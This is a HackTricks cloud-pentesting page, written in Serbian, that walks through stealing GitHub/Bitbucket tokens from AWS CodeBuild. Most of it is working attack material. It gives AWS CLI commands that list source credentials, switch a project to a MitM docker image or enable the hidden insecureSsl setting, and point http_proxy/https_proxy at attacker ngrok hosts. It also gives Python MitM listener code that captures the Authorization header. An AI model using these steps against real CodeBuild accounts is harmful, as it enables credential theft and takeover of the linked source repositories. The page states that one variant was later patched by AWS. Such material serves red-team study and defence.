AWS Codebuild - Token Leakage
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Oporavi konfigurisane Github/Bitbucket Tokens
Prvo proveri da li postoje konfigurisani source credentials koje možeš leak:
aws codebuild list-source-credentials
Putem Docker Image
Ako ustanovite da je autentifikacija, npr. za Github, podešena na nalogu, možete exfiltrate taj access (GH token or OAuth token) tako što ćete naterati Codebuild da use an specific docker image za pokretanje build-a projekta.
U tu svrhu možete create a new Codebuild project ili promeniti environment postojećeg da podesite Docker image.
Docker image koji možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je vrlo osnovni Docker image koji će postaviti env variables https_proxy, http_proxy i SSL_CERT_FILE. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u https_proxy i http_proxy i da verujete SSL CERT navedenom u SSL_CERT_FILE.
- Kreirajte i otpremite svoj Docker MitM image
- Sledite instrukcije iz repo-a da podesite IP adresu proxy-ja i vaš SSL sertifikat i izgradite Docker image.
- NE PODEŠAVAJTE
http_proxykako ne biste presretali zahteve ka metadata endpoint-u. - Možete koristiti
ngroknpr.ngrok tcp 4444da podesite proxy na vaš host - Kada izgradite Docker image, otpremite ga u javni repo (Dockerhub, ECR…)
- Podesite environment
- Kreirajte novi Codebuild project ili izmenite environment postojećeg.
- Podesite projekat da koristi prethodno generisani Docker image
.png)
- Podesite MitM proxy na vašem hostu
- Kao što je naznačeno u Github repo možete koristiti nešto poput:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
Korišćena je mitmproxy verzija 9.0.1, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
- Pokrenite build i uhvatite kredencijale
- Možete videti token u Authorization zaglavlju:
.png)
Ovo se takođe može uraditi iz aws cli pomoću nečeg poput
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
Putem insecureSSL
Codebuild projekti imaju podešavanje zvano insecureSsl koje je skriveno u web interfejsu i može se menjati samo preko API-ja.
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom bez provere sertifikata platforme.
- Prvo treba da izlistate trenutnu konfiguraciju nečim poput:
aws codebuild batch-get-projects --name <proj-name>
- Zatim, sa prikupljenim informacijama možeš ažurirati podešavanje projekta
insecureSslnaTrue. U nastavku je primer mog ažuriranja projekta — obrati pažnju nainsecureSsl=Truena kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju). - Takođe, dodaj i promenljive okruženja http_proxy i https_proxy koje upućuju na tvoj tcp ngrok, na primer:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Zatim pokrenite osnovni primer iz https://github.com/synchronizing/mitm na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Na kraju, kliknite na Build the project, credentials će biti poslati nešifrovano (base64) na mitm port:
 (1).png)
Preko HTTP protokola
[!TIP] > Ova ranjivost je ispravljena od strane AWS-a negde tokom nedelje koja počinje 20. februara 2023. (Mislim da je to bio petak). Dakle, napadač je više ne može zloupotrebiti :)
Napadač sa povišenim privilegijama u CodeBuild mogao bi da leak-uje konfigurisan Github/Bitbucket token ili, ako su permisije konfigurisanе preko OAuth-a, privremeni OAuth token koji se koristi za pristup kodu.
- Napadač može da doda environment promenljive http_proxy i https_proxy u CodeBuild projekat koje pokazuju na njegovu mašinu (na primer
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Zatim promenite URL github repoa da koristi HTTP umesto HTTPS, na primer:
http://github.com/carlospolop-forks/TestActions - Zatim pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Zatim, kliknite na Build the project ili pokrenite build iz komandne linije:
aws codebuild start-build --project-name <proj-name>
- Na kraju, credentials će biti poslati u čistom tekstu (base64) na mitm port:
.png)
Warning
Sada napadač može da koristi token sa svoje mašine, izlista sve privilegije koje poseduje i (ab)use lakše nego da direktno koristi CodeBuild servis.
Izvršavanje nepouzdanih PR-ova putem pogrešne konfiguracije webhook filtera
Za lanac zaobilaženja webhook-a pokrenut PR-om (ACTOR_ACCOUNT_ID regex + untrusted PR execution), proveri:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

